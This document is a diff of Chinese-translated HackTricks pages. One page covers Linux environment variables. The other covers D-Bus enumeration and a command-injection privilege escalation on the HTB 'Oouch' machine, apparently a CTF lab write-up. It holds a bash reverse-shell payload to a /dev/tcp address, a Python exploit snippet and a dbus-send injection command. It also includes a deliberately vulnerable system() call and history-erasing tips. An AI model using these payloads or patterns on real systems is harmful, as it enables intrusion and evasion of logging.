@ -37,19 +39,9 @@ unset LOCAL
|
|||
```
|
||||
## 列出当前变量
|
||||
|
||||
To list the current environment variables in Linux, you can use the `env` command. This command will display a list of all the variables and their values.
|
||||
|
||||
```bash
|
||||
$ env
|
||||
printenv
|
||||
```
|
||||
|
||||
You can also use the `printenv` command to achieve the same result:
|
||||
|
||||
```bash
|
||||
$ printenv
|
||||
```
|
||||
|
||||
Both commands will output the variables in the format `variable=value`.
|
||||
```bash
|
||||
set
|
||||
env
|
||||
|
@ -59,11 +51,11 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
```
|
||||
## 持久环境变量
|
||||
|
||||
#### 影响每个用户行为的文件:
|
||||
#### **影响每个用户行为的文件:**
|
||||
|
||||
* _**/etc/bash.bashrc**_:每次启动交互式shell(普通终端)时都会读取此文件,并执行其中的所有命令。
|
||||
* _**/etc/profile和/etc/profile.d/\***_**:**每次用户登录时都会读取此文件。因此,此处执行的所有命令仅在用户登录时执行一次。
|
||||
* **示例:**
|
||||
* _**/etc/bash.bashrc**_: 每次启动交互式 shell(普通终端)时都会读取此文件,并执行其中指定的所有命令。
|
||||
* _**/etc/profile 和 /etc/profile.d/\***_**:** 每次用户登录时都会读取此文件。因此,此处执行的所有命令将仅在用户登录时执行一次。
|
||||
* \*\*示例: \*\*
|
||||
|
||||
`/etc/profile.d/somescript.sh`
|
||||
|
||||
|
@ -73,40 +65,33 @@ TEST=$(cat /var/somefile)
|
|||
export $TEST
|
||||
```
|
||||
|
||||
#### 仅影响特定用户行为的文件:
|
||||
|
||||
* _**\~/.bashrc**_:此文件的工作方式与 _/etc/bash.bashrc_ 文件相同,但仅对特定用户执行。如果要为自己创建环境,请修改或在您的主目录中创建此文件。
|
||||
* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:**这些文件与 _/etc/profile_ 相同。区别在于执行方式。仅当用户在其主目录中存在此文件时,才会执行此文件。
|
||||
|
||||
**摘自:**[**此处**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **和** [**此处**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html)
|
||||
|
||||
## 常见变量
|
||||
|
||||
来自:[https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
来源: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – **X** 使用的显示器。此变量通常设置为 **:0.0**,表示当前计算机上的第一个显示器。
|
||||
* **EDITOR** – 用户首选的文本编辑器。
|
||||
* **HISTFILESIZE** – 历史记录文件中包含的最大行数。
|
||||
* **HISTSIZE** - 用户会话结束时添加到历史记录文件中的行数
|
||||
* **HISTFILESIZE** – 历史文件中包含的最大行数。
|
||||
* **HISTSIZE** – 用户结束会话时添加到历史文件中的行数。
|
||||
* **HOME** – 您的主目录。
|
||||
* **HOSTNAME** – 计算机的主机名。
|
||||
* **LANG** – 当前语言。
|
||||
* **LANG** – 您当前的语言。
|
||||
* **MAIL** – 用户邮件存储位置。通常为 **/var/spool/mail/USER**。
|
||||
* **MANPATH** – 手册页搜索的目录列表。
|
||||
* **MANPATH** – 用于搜索手册页的目录列表。
|
||||
* **OSTYPE** – 操作系统类型。
|
||||
* **PS1** – bash 中的默认提示符。
|
||||
* **PATH** - 存储所有目录的路径,这些目录包含您想要通过指定文件名而不是相对或绝对路径来执行的二进制文件。
|
||||
* **PATH** – 存储所有目录的路径,这些目录包含您希望通过指定文件名而不是相对或绝对路径来执行的二进制文件。
|
||||
* **PWD** – 当前工作目录。
|
||||
* **SHELL** – 当前命令shell的路径(例如,**/bin/bash**)。
|
||||
* **SHELL** – 当前命令 shell 的路径(例如,**/bin/bash**)。
|
||||
* **TERM** – 当前终端类型(例如,**xterm**)。
|
||||
* **TZ** – 您的时区。
|
||||
* **USER** – 您当前的用户名。
|
||||
|
||||
## 用于黑客攻击的有趣变量
|
||||
## 用于黑客的有趣变量
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
将此变量的值更改为0,这样当您**结束会话**时,**历史记录文件**(\~/.bash\_history)将被删除。
|
||||
将此变量的**值更改为 0**,这样当您**结束会话**时,**历史文件**(\~/.bash\_history)**将被删除**。
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
|
@ -118,7 +103,7 @@ export HISTSIZE=0
|
|||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
进程将使用在此处声明的**代理**通过**http或https**连接到互联网。
|
||||
进程将使用在此处声明的 **代理** 通过 **http 或 https** 连接到互联网。
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
@ -132,34 +117,22 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
```
|
||||
### PS1
|
||||
|
||||
更改提示符的外观。
|
||||
更改您的提示符外观。
|
||||
|
||||
我创建了[**这个**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)(基于另一个,请阅读代码)。
|
||||
[**这是一个示例**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
Root用户:
|
||||
Root:
|
||||
|
||||
![](<../.gitbook/assets/image (87).png>)
|
||||
|
||||
普通用户:
|
||||
Regular user:
|
||||
|
||||
![](<../.gitbook/assets/image (88).png>)
|
||||
|
||||
一个、两个和三个后台作业:
|
||||
一个、两个和三个后台作业:
|
||||
|
||||
![](<../.gitbook/assets/image (89).png>)
|
||||
|
||||
一个后台作业,一个停止的作业和最后一个命令未正确完成:
|
||||
一个后台作业,一个停止和最后一个命令未正确完成:
|
||||
|
||||
![](<../.gitbook/assets/image (90).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,55 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **GUI枚举**
|
||||
|
||||
**(此枚举信息来自** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)**
|
||||
在Ubuntu桌面环境中,D-Bus被用作进程间通信(IPC)中介。在Ubuntu上,观察到多个消息总线的并发运行:系统总线,主要由**特权服务用于公开系统范围内相关服务**,以及每个已登录用户的会话总线,仅公开对该特定用户有关的服务。这里的重点主要是系统总线,因为它与以更高权限(例如root)运行的服务相关联,我们的目标是提升权限。值得注意的是,D-Bus的架构在每个会话总线上都使用一个“路由器”,负责根据客户端为希望通信的服务指定的地址将客户端消息重定向到适当的服务。
|
||||
|
||||
Ubuntu桌面使用D-Bus作为其进程间通信(IPC)中介。在Ubuntu上,有几个同时运行的消息总线:系统总线主要由**特权服务用于公开系统范围的相关服务**,每个登录用户都有一个会话总线,它公开仅对该特定用户相关的服务。由于我们将尝试提升权限,我们主要关注系统总线,因为那里的服务往往以更高的权限(即root)运行。请注意,D-Bus架构在每个会话总线上使用一个“路由器”,它将客户端消息重定向到它们尝试与之交互的相关服务。客户端需要指定要发送消息的服务的地址。
|
||||
D-Bus上的服务由它们公开的**对象**和**接口**定义。对象可以类比于标准OOP语言中的类实例,每个实例都由一个**对象路径**唯一标识。这个路径类似于文件系统路径,唯一标识服务公开的每个对象。用于研究的一个关键接口是**org.freedesktop.DBus.Introspectable**接口,其中包含一个方法,Introspect。该方法返回对象支持的方法的XML表示,重点是方法,而省略了属性和信号。
|
||||
|
||||
每个服务由其公开的**对象**和**接口**定义。我们可以将对象视为标准面向对象编程语言中的类的实例。每个唯一实例由其**对象路径**标识 - 这是一个类似于文件系统路径的字符串,唯一标识服务公开的每个对象。一个对我们研究有帮助的标准接口是**org.freedesktop.DBus.Introspectable**接口。它包含一个方法Introspect,该方法返回对象支持的方法、信号和属性的XML表示。本博文重点介绍方法,忽略属性和信号。
|
||||
|
||||
我使用了两个工具与D-Bus接口进行通信:一个名为**gdbus**的CLI工具,它允许在脚本中轻松调用D-Bus公开的方法,以及[**D-Feet**](https://wiki.gnome.org/Apps/DFeet),一个基于Python的GUI工具,用于枚举每个总线上可用的服务并查看每个服务包含的对象。
|
||||
为了与D-Bus接口通信,使用了两个工具:一个名为**gdbus**的CLI工具,用于在脚本中轻松调用D-Bus公开的方法,以及[**D-Feet**](https://wiki.gnome.org/Apps/DFeet),一个基于Python的GUI工具,用于枚举每个总线上可用的服务并显示每个服务中包含的对象。
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
|
||||
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
|
||||
|
||||
_图1. D-Feet主窗口_
|
||||
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
_图2. D-Feet界面窗口_
|
||||
在第一张图片中,展示了在D-Bus系统总线上注册的服务,特别是在选择System Bus按钮后,**org.debin.apt** 被特别标记出来。D-Feet查询此服务的对象,显示了所选对象的接口、方法、属性和信号,如第二张图片所示。还详细列出了每个方法的签名。
|
||||
|
||||
在图1的左窗格中,您可以看到所有已注册到D-Bus守护进程系统总线的各种服务(请注意顶部的选择系统总线按钮)。我选择了**org.debin.apt**服务,并且D-Feet自动**查询了该服务的所有可用对象**。一旦我选择了特定的对象,所有接口及其相应的方法、属性和信号集将被列出,如图2所示。请注意,我们还可以获得每个**IPC公开方法**的签名。
|
||||
一个值得注意的特点是显示了服务的**进程ID(pid)**和**命令行**,有助于确认服务是否以提升的特权运行,这对于研究的相关性很重要。
|
||||
|
||||
我们还可以看到托管每个服务的进程的**pid**,以及其**命令行**。这是一个非常有用的功能,因为我们可以验证我们正在检查的目标服务确实以更高的权限运行。系统总线上的一些服务不以root身份运行,因此对研究来说不太有趣。
|
||||
**D-Feet还允许方法调用**:用户可以将Python表达式作为参数输入,D-Feet会将其转换为D-Bus类型后传递给服务。
|
||||
|
||||
D-Feet还允许调用各种方法。在方法输入屏幕中,我们可以指定由逗号分隔的Python表达式列表,作为要解释为调用函数的参数,如图3所示。Python类型被编组为D-Bus类型并传递给服务。
|
||||
但需要注意的是,**有些方法在允许我们调用它们之前需要进行身份验证**。我们将忽略这些方法,因为我们的目标是在首次提升权限时无需凭据。
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-23.png)
|
||||
还要注意,一些服务会查询另一个名为org.freedeskto.PolicyKit1的D-Bus服务,以确定用户是否应该被允许执行某些操作。
|
||||
|
||||
_图3. 通过D-Feet调用D-Bus方法_
|
||||
|
||||
某些方法在允许我们调用它们之前需要进行身份验证。我们将忽略这些方法,因为我们的目标是在没有凭据的情况下提升权限。
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-24.png)
|
||||
|
||||
_图4. 需要授权的方法_
|
||||
|
||||
还要注意,一些服务会查询另一个名为org.freedeskto.PolicyKit1的D-Bus服务,以确定是否允许用户执行某些操作。
|
||||
|
||||
## **命令行枚举**
|
||||
## **Cmd line枚举**
|
||||
|
||||
### 列出服务对象
|
||||
|
||||
|
@ -80,7 +69,7 @@ org.freedesktop.locale1 - - - (act
|
|||
```
|
||||
#### 连接
|
||||
|
||||
当一个进程建立与总线的连接时,总线会为该连接分配一个特殊的总线名称,称为“唯一连接名称”。这种类型的总线名称是不可变的——只要连接存在,它们保证不会改变——更重要的是,在总线的生命周期内,它们不能被重复使用。这意味着,即使同一个进程关闭与总线的连接并创建一个新的连接,也不会有其他连接被分配到这样的唯一连接名称。唯一连接名称很容易识别,因为它们以否则禁止的冒号字符开头。
|
||||
[来自维基百科:](https://en.wikipedia.org/wiki/D-Bus) 当一个进程建立到总线的连接时,总线会为该连接分配一个特殊的总线名称,称为_唯一连接名称_。这种类型的总线名称是不可变的——只要连接存在,就保证不会更改,更重要的是,在总线的生命周期内不能被重用。这意味着即使同一进程关闭与总线的连接并创建新连接,也不会有其他连接分配到这样的唯一连接名称。唯一连接名称很容易识别,因为它们以—否则被禁止的—冒号字符开头。
|
||||
|
||||
### 服务对象信息
|
||||
|
||||
|
@ -146,7 +135,7 @@ cap_wake_alarm cap_block_suspend cap_audit_read
|
|||
```
|
||||
### 列出服务对象的接口
|
||||
|
||||
您需要拥有足够的权限。
|
||||
您需要具有足够的权限。
|
||||
```bash
|
||||
busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
|
||||
|
@ -154,9 +143,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
|||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### 查看服务对象的Introspect接口
|
||||
### 检查服务对象的接口
|
||||
|
||||
请注意,在此示例中,使用`tree`参数选择了最新发现的接口(请参见前一节)。
|
||||
请注意,在此示例中,使用`tree`参数选择了最新发现的接口(_请参阅前一节_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
|
@ -174,16 +163,14 @@ org.freedesktop.DBus.Properties interface - - -
|
|||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
请注意接口`htb.oouch.Block`的方法`.Block`(我们感兴趣的方法)。其他列的"s"可能表示它期望一个字符串。
|
||||
|
||||
### 监视/捕获接口
|
||||
|
||||
如果拥有足够的权限(仅具有`send_destination`和`receive_sender`权限是不够的),您可以**监视D-Bus通信**。
|
||||
具有足够特权(仅具有 `send_destination` 和 `receive_sender` 特权不足)可以**监视 D-Bus 通信**。
|
||||
|
||||
为了**监视**一个**通信**,您需要成为**root用户**。如果您仍然遇到成为root用户的问题,请查看[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/)和[https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
要**监视**一**通信**,您将需要成为**root**用户。如果您仍然发现无法成为 root 用户,请查看[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/)和[https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
{% hint style="warning" %}
|
||||
如果您知道如何配置D-Bus配置文件以**允许非root用户嗅探**通信,请**与我联系**!
|
||||
如果您知道如何配置 D-Bus 配置文件以**允许非 root 用户嗅探**通信,请**与我联系**!
|
||||
{% endhint %}
|
||||
|
||||
监视的不同方式:
|
||||
|
@ -192,7 +179,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
|||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
在下面的示例中,监视接口`htb.oouch.Block`并通过误传发送了消息"lalalalal":
|
||||
在以下示例中,监视接口`htb.oouch.Block`,并通过错误通信发送了消息“lalalalal”:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
|
@ -211,15 +198,13 @@ MESSAGE "s" {
|
|||
STRING "Carried out :D";
|
||||
};
|
||||
```
|
||||
你可以使用`capture`而不是`monitor`将结果保存在一个pcap文件中。
|
||||
|
||||
#### 过滤所有噪音 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
如果总线上有太多的信息,可以传递一个匹配规则,如下所示:
|
||||
如果总线上有太多信息,可以传递一个匹配规则,如下所示:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
可以指定多个规则。如果消息与任何规则匹配,将打印该消息。如下所示:
|
||||
多个规则可以被指定。如果消息符合_任何_规则中的一个,该消息将被打印。就像这样:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
|
@ -227,16 +212,16 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
|||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
请参阅[D-Bus文档](http://dbus.freedesktop.org/doc/dbus-specification.html)以获取有关匹配规则语法的更多信息。
|
||||
查看[D-Bus文档](http://dbus.freedesktop.org/doc/dbus-specification.html)以获取有关匹配规则语法的更多信息。
|
||||
|
||||
### 更多
|
||||
|
||||
`busctl`还有更多选项,[**在这里找到所有选项**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
||||
`busctl`有更多选项,[**在此处找到所有选项**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
||||
|
||||
## **易受攻击的场景**
|
||||
|
||||
作为HTB中主机"oouch"内的用户**qtc**,您可以在`/etc/dbus-1/system.d/htb.oouch.Block.conf`中找到一个**意外的D-Bus配置文件**:
|
||||
```markup
|
||||
作为主机“oouch”中的用户**qtc**,您可以在`/etc/dbus-1/system.d/htb.oouch.Block.conf`中找到一个**意外的D-Bus配置文件**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
<!DOCTYPE busconfig PUBLIC
|
||||
|
@ -256,9 +241,9 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
|||
|
||||
</busconfig>
|
||||
```
|
||||
注意前面的配置,**你需要成为用户`root`或`www-data`才能通过D-BUS通信发送和接收信息**。
|
||||
根据先前的配置,请注意**您需要成为用户`root`或`www-data`才能通过此D-BUS通信发送和接收信息**。
|
||||
|
||||
作为docker容器**aeb4525789d8**中的用户**qtc**,你可以在文件_/code/oouch/routes.py_中找到一些与dbus相关的代码。以下是有趣的代码:
|
||||
作为Docker容器**aeb4525789d8**中的用户**qtc**,您可以在文件_/code/oouch/routes.py_中找到一些与dbus相关的代码。以下是相关代码:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
|
@ -270,14 +255,14 @@ response = block_iface.Block(client_ip)
|
|||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
正如你所看到的,它正在**连接到一个D-Bus接口**,并将"client\_ip"发送给**"Block"函数**。
|
||||
正如您所看到的,它正在**连接到一个 D-Bus 接口**,并将 "client\_ip" 发送到 **"Block" 函数**。
|
||||
|
||||
在D-Bus连接的另一端,有一个正在运行的C编译二进制文件。这段代码正在D-Bus连接中**监听IP地址,并通过`system`函数调用iptables来阻止给定的IP地址**。\
|
||||
**故意使`system`调用存在命令注入漏洞**,因此像下面这样的有效载荷将创建一个反向shell:`;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
在 D-Bus 连接的另一侧运行着一些 C 编译的二进制代码。这段代码正在**监听** D-Bus 连接,**接收 IP 地址并通过 `system` 函数调用 iptables** 来阻止给定的 IP 地址。\
|
||||
**对 `system` 的调用故意存在命令注入漏洞**,因此像下面这样的有效载荷将创建一个反向 shell:`;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### 利用它
|
||||
|
||||
在本页的末尾,你可以找到D-Bus应用程序的**完整C代码**。在其中的第91-97行之间,你可以找到**如何注册`D-Bus对象路径`和`接口名称`**的信息。这些信息将在发送信息到D-Bus连接时需要使用:
|
||||
在本页末尾,您可以找到 D-Bus 应用程序的**完整 C 代码**。在其中,您可以在第 91-97 行之间找到**`D-Bus 对象路径`**和**`接口名称`**是如何**注册**的。发送信息到 D-Bus 连接时将需要这些信息:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
|
@ -287,13 +272,13 @@ r = sd_bus_add_object_vtable(bus,
|
|||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
此外,在第57行中,您可以发现此D-Bus通信**仅注册了一种方法**,称为`Block`(_**这就是为什么在下一节中,负载将被发送到服务对象`htb.oouch.Block`,接口`/htb/oouch/Block`和方法名`Block`**_):
|
||||
此外,在第57行,您可以发现此D-Bus通信中**仅注册的方法**称为`Block`(_**这就是为什么在接下来的部分中,有效载荷将被发送到服务对象`htb.oouch.Block`,接口`/htb/oouch/Block`和方法名`Block`**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
以下Python代码将通过D-Bus连接将有效载荷发送到`Block`方法,通过`block_iface.Block(runme)`(_请注意,它是从之前的代码块中提取的_):
|
||||
以下Python代码将通过`block_iface.Block(runme)`将有效载荷发送到D-Bus连接的`Block`方法(请注意,此代码段是从先前的代码块中提取的):
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
|
@ -303,26 +288,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
|
|||
response = block_iface.Block(runme)
|
||||
bus.close()
|
||||
```
|
||||
#### busctl和dbus-send
|
||||
|
||||
`busctl` is a command-line utility that allows you to introspect and interact with the D-Bus system bus. It provides a way to enumerate the available services, objects, and interfaces on the bus, as well as invoke methods and retrieve properties.
|
||||
|
||||
`dbus-send` is another command-line utility that allows you to send messages to the D-Bus bus. It can be used to invoke methods on remote objects, as well as set and get properties.
|
||||
|
||||
Both `busctl` and `dbus-send` are powerful tools for D-Bus enumeration and command injection privilege escalation. They can be used to discover vulnerable services, interact with them, and potentially exploit security weaknesses to escalate privileges.
|
||||
#### busctl 和 dbus-send
|
||||
```bash
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
* `dbus-send`是一个用于向“消息总线”发送消息的工具。
|
||||
* 消息总线 - 一种用于系统之间轻松通信的软件。它与消息队列相关(消息按顺序排列),但在消息总线中,消息以订阅模式发送,并且非常快速。
|
||||
* “-system”标签用于指示这是一条系统消息,而不是会话消息(默认情况下)。
|
||||
* “--print-reply”标签用于以人类可读的格式打印我们的消息,并接收任何回复。
|
||||
* “--dest=Dbus-Interface-Block”是Dbus接口的地址。
|
||||
* “--string:” - 我们想要发送到接口的消息类型。发送消息有几种格式,如double、bytes、booleans、int、objpath。在这些格式中,“对象路径”在我们想要将文件路径发送到Dbus接口时非常有用。在这种情况下,我们可以使用一个特殊文件(FIFO)来将命令传递给接口,以文件的名称进行命令传递。 “string:;” - 这是再次调用对象路径的方式,我们在其中放置了FIFO反向shell文件/命令。
|
||||
* `dbus-send` 是一个用于向“消息总线”发送消息的工具。
|
||||
* 消息总线 - 系统用来方便应用程序之间通信的软件。它与消息队列相关(消息按顺序排列),但在消息总线中,消息以订阅模式发送,而且非常快速。
|
||||
* “-system” 标签用于指定这是一个系统消息,而不是会话消息(默认情况下)。
|
||||
* “--print-reply” 标签用于适当打印我们的消息并以人类可读的格式接收任何回复。
|
||||
* “--dest=Dbus-Interface-Block” Dbus 接口的地址。
|
||||
* “--string:” - 我们想要发送到接口的消息类型。有几种格式可以发送消息,如 double、bytes、booleans、int、objpath。在这些格式中,“对象路径” 在我们想要将文件路径发送到 Dbus 接口时很有用。在这种情况下,我们可以使用一个特殊文件(FIFO)来将命令传递给接口,以文件的名称形式。 “string:;” - 这是再次调用对象路径的地方,我们在那里放置 FIFO 反向 shell 文件/命令。
|
||||
|
||||
_请注意,在`htb.oouch.Block.Block`中,第一部分(`htb.oouch.Block`)引用了服务对象,而最后一部分(`.Block`)引用了方法名称。_
|
||||
_请注意,在 `htb.oouch.Block.Block` 中,第一部分(`htb.oouch.Block`)引用了服务对象,最后一部分(`.Block`)引用了方法名称。_
|
||||
|
||||
### C代码
|
||||
### C 代码
|
||||
|
||||
{% code title="d-bus_server.c" %}
|
||||
```c
|
||||
|
@ -467,14 +446,19 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
# 参考资料
|
||||
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
